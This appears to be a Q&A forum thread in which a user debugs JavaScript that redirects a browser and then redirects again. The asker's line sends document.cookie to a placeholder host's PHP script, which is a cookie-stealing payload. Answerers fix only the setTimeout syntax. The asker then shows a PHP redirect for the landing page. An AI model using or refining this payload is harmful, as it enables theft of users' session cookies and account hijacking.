1

I am trying to get the following to code work. But it just wont :(.

I have tested the timeout on its own and it works fine (Code line 2), but the first line wont work :(, any guidance would be appreciated.

document.location="http://site/site.php?cookie=" + document.cookie;setTimeout(document.location='http://site/site/newpage',500);

setTimeout(document.location='http://site/site/newpage',500);

I am testing this inside firebug console (by the way)

2

3 Answers 3

3

Changing document.location will immediately navigate you to another page.

setTimeout expects either a string to construct with new Function("string") (not recommended), a function pointer (recommended), or an anonymous function (recommended).

You can send an anonymous function like this:

setTimeout(function(){document.location='http://site/site/newpage'},500);
Sign up to request clarification or add additional context in comments.

1 Comment

Hi, thanks for the response. I tried it like document.location="http://site/site?cookie=" + document.cookie;setTimeout(function(){document.location='http://site/site/newpage'},500); but it still didnt work :(
0

Encapsulate it in an anonymous function.

setTimeout(function() { document.location.href ='http://etc/etc/';},500);

(don't forget the href, or use window.location maybe)

2 Comments

thanks but this didnt work either. Maybe I should just redirect on the landing page?
Look at what you're doing. You're changing the location of the page then trying to set a timeout function to do that again. That logically isn't going to work because your first command is to redirect, the second command is never going to be called.
0

Ie gone for the redirecting on the landing page instead, thanks for all the help

  if ($referer == TRUE){
 header( 'Location: ' .$referer) ;
 }else {
     header('Location: ' .$url[$urladdon]);
 }
} 

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.